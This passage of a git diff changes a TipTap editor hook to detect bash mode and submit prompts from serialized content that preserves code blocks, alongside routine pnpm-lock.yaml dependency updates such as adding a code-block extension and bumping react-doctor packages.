Serialized text, not e.getText(): quoted code keeps its backticks + // so it can never read as a leading-`!` bash command. + const text = content ? contentToSerializedText(content) : ""; const newBashMode = enableBashMode && isBashModeText(text); if (newBashMode !== prevBashModeRef.current) { @@ -704,7 +755,6 @@ export function useTiptapEditor(options: UseTiptapEditorOptions) { } draftRef.current?.saveDraft(e, attachmentsRef.current); - const content = draftRef.current?.getContent(attachmentsRef.current); const newIsEmpty = isContentEmpty(content ?? null); setIsEmptyState(newIsEmpty); @@ -722,7 +772,7 @@ export function useTiptapEditor(options: UseTiptapEditorOptions) { callbackRefs.current.onBlur?.(); }, }, - [sessionId, disabled, fileMentions, commands, placeholder], + [sessionId, disabled, fileMentions, commands, placeholder, codeBlocks], ); const draft = useDraftSync(editor, sessionId, context); @@ -771,7 +821,7 @@ export function useTiptapEditor(options: UseTiptapEditorOptions) { const content = draft.getContent(attachments); if (isContentEmpty(content)) return; - const text = editor.getText().trim(); + const text = contentToSerializedText(content).trim(); promptRecallDraftRef.current = null; @@ -851,7 +901,9 @@ export function useTiptapEditor(options: UseTiptapEditorOptions) { editor.commands.focus("end"); // Paragraphs, not the doc wrapper, so it appends rather than replaces. editor.commands.insertContent( - editorContentToTiptapJson(content).content ?? [], + editorContentToTiptapJson(content, { + codeBlocks: !!editor.schema.nodes.codeBlock, + }).content ?? [], ); draft.saveDraft(editor, attachments); }, @@ -913,7 +965,9 @@ export function useTiptapEditor(options: UseTiptapEditorOptions) { const isEmpty = !editor || (isEmptyState && attachments.length === 0); const isBashMode = - enableBashMode && (editor ? isBashModeText(editor.getText()) : false); + enableBashMode && + !!editor && + isBashModeText(contentToSerializedText(draft.getContent())); return { editor, diff --git a/pnpm-lock.yaml b/pnpm-lock.yaml index 68e8fe7e82..5c75fc3c41 100644 --- a/pnpm-lock.yaml +++ b/pnpm-lock.yaml @@ -1277,6 +1277,9 @@ importers: '@tiptap/core': specifier: ^3.13.0 version: 3.19.0(@tiptap/pm@3.19.0) + '@tiptap/extension-code-block': + specifier: ^3.13.0 + version: 3.19.0(@tiptap/core@3.19.0(@tiptap/pm@3.19.0))(@tiptap/pm@3.19.0) '@tiptap/extension-mention': specifier: ^3.13.0 version: 3.19.0(@tiptap/core@3.19.0(@tiptap/pm@3.19.0))(@tiptap/pm@3.19.0)(@tiptap/suggestion@3.19.0(@tiptap/core@3.19.0(@tiptap/pm@3.19.0))(@tiptap/pm@3.19.0)) @@ -2767,11 +2770,11 @@ packages: '@esbuild-kit/core-utils@3.3.2': resolution: {integrity: sha512-sPRAnw9CdSsRmEtnsl2WXWdyquogVpB3yZ3dgwJfe8zrOzTsV7cJvmwrKVa+0ma5BoiGJ+BoqkMvawbayKUsqQ==} - deprecated: 'Merged into tsx: https://tsx.is' + deprecated: 'Merged into tsx: https://tsx.hirok.io' '@esbuild-kit/esm-loader@2.6.5': resolution: {integrity: sha512-FxEMIkJKnodyA1OaCUoEvbYRkoZlLZ4d/eXFu9Fh8CbBBgP5EmZxrfTRyN0qpXZ4vOvqnE5YdRdcrmUUXuU+dA==} - deprecated: 'Merged into tsx: https://tsx.is' + deprecated: 'Merged into tsx: https://tsx.hirok.io' '@esbuild/aix-ppc64@0.25.12': resolution: {integrity: sha512-Hhmwd6CInZ3dwpuGTF8fJG6yoWmsToE+vYgD4nytZVxcu1ulHpUQRAB1UJ8+N1Am3Mz4+xOByoQoSZf4D+CpkA==} @@ -8765,7 +8768,7 @@ packages: bippy@0.5.43: resolution: {integrity: sha512-Tvu7b1M7+d8b9/YHaCeODEsi2CgbuoBql+dWSBrNnCuqJ1gMUeY3i0r+319hvjjl5GVBP6FFWxrKnq3fhZER0w==} peerDependencies: - react: '>=17.0.1' + react: 19.2.6 bl@4.1.0: resolution: {integrity: sha512-1W07cM9gS6DcLperZfFSj+bWLtaPGSOHWhPiGzXmvVJbRLdG82sH/Kn8EtW1VqWVA54AKf2h5k5BbnIbwF3h6w==} @@ -9496,8 +9499,8 @@ packages: resolution: {integrity: sha512-0je+qPKHEMohvfRTCEo3CrPG6cAzAYgmzKyxRiYSSDkS6eGJdyVJm7WaYA5ECaAD9wLB2T4EEeymA5aFVcYXCA==} engines: {node: '>=6'} - deslop-js@0.7.1: - resolution: {integrity: sha512-HsEoRI/bzuD0o2OVczYz42SXTCl5of3ax6eiojZbC/7gJsPNxxjPRvBysP88LXsHujYrIGJnGtFRnHwCmKWuxQ==} + deslop-js@0.7.3: + resolution: {integrity: sha512-SsrIu4ud41rSn7PnU8IjHlcd9cAfSeJWcRxKB0yPw7Q224XokD+fDbLf58LCCmckiVnnM8SVZEdBvbRE/4bRTg==} destroy@1.2.0: resolution: {integrity: sha512-2sJGJTaXIIaR1w4iJSNoN0hnMY7Gpc/n8D4qSCJw8QqFWXf7cuAgnEHxBpweaVcPevC2l3KpjYCx3NypQQgaJg==} @@ -12867,8 +12870,8 @@ packages: engines: {node: ^20.19.0 || >=22.12.0} hasBin: true - oxlint-plugin-react-doctor@0.7.1: - resolution: {integrity: sha512-fvARsCESDZYvDIlhuB/JlDeUhTOLHYstoDJCKm0pzh4HQQJVVV6gcrQajBjYo/hdHC1ukl7btKTK3rk4uZwuew==} + oxlint-plugin-react-doctor@0.7.3: + resolution: {integrity: sha512-efbhWdD/FCsRnaEPKbf356B8ek5oqHjUXBRax0QJZoi/zT6UqlU9EL+o3r8J48qp9s/xKPVmW7wr5bKVpQu9pA==} engines: {node: ^20.19.0 || >=22.13.0} oxlint@1.66.0: @@ -13514,8 +13517,8 @@ packages: resolution: {integrity: sha512-+NRMYs2DyTP4/tqWz371Oo50JqmWltR1h2gcdgUMAWZJIAvrd0/SqlCfx7tpzpl/s36rzw6qH2MjoNrxtRNYhA==} engines: {node: ^20.9.0 || >=22} - react-doctor@0.7.1: - resolution: {integrity: sha512-Gmty7Enyrh6GPlz6Paq+UoL2O7YkTzNeHdflbqdp6fspX1UbUem5ejPyIUgo1jf77D6kB+INqsi2K+Mk/K8uBQ==} + react-doctor@0.7.3: + resolution: {integrity: sha512-N/aeVyOaMXe4MNCdQ8IQZUbpI23Z2fPSpDRhCLL1bvYEFD2MIco6CslJWMtOlkA9RVSKPhWCbPT4wf2AA+BWVg==} engines: {node: ^20.19.0 || >=22.13.0} hasBin: true @@ -24091,7 +24094,7 @@ snapshots: dequal@2.0.3: {} - deslop-js@0.7.1: + deslop-js@0.7.3: dependencies: '@oxc-project/types': 0.132.0 fast-glob: 3.3.3 @@ -28471,7 +28474,7 @@ snapshots: '@oxfmt/binding-win32-ia32-msvc': 0.45.0 '@oxfmt/binding-win32-x64-msvc': 0.45.0 - oxlint-plugin-react-doctor@0.7.1: + oxlint-plugin-react-doctor@0.7.3: dependencies: '@typescript-eslint/types': 8.62.0 eslint-scope: 9.1.2 @@ -29224,19 +29227,19 @@ snapshots: transitivePeerDependencies: - supports-color - react-doctor@0.7.1(@opentelemetry/core@2.8.0(@opentelemetry/api@1.9.1))(eslint@10.5.0(jiti@2.7.0)): + react-doctor@0.7.3(@opentelemetry/core@2.8.0(@opentelemetry/api@1.9.1))(eslint@10.5.0(jiti@2.7.0)): dependencies: '@babel/code-frame': 7.29.0 '@sentry/node': 10.61.0(@opentelemetry/core@2.8.0(@opentelemetry/api@1.9.1)) agent-install: 0.0.5 conf: 15.1.0 confbox: 0.2.4 - deslop-js: 0.7.1 + deslop-js: 0.7.3 eslint-plugin-react-hooks: 7.1.1(eslint@10.5.0(jiti@2.7.0)) jiti: 2.7.0 magicast: 0.5.3 oxlint: 1.66.0 - oxlint-plugin-react-doctor: 0.7.1 + oxlint-plugin-react-doctor: 0.7.3 prompts: 2.4.2 typescript: 5.9.3 vscode-languageserver: 9.0.1 @@ -29506,7 +29509,7 @@ snapshots: preact: 10.29.2 prompts: 2.4.2 react: 19.2.6 - react-doctor: 0.7.1(@opentelemetry/core@2.8.0(@opentelemetry/api@1.9.1))(eslint@10.5.0(jiti@2.7.0)) + react-doctor: 0.7.3(@opentelemetry/core@2.8.0(@opentelemetry/api@1.9.1))(eslint@10.5.0(jiti@2.7.0)) react-dom: 19.2.6(react@19.2.6) react-grab: 0.1.48(react@19.2.6) optionalDependencies: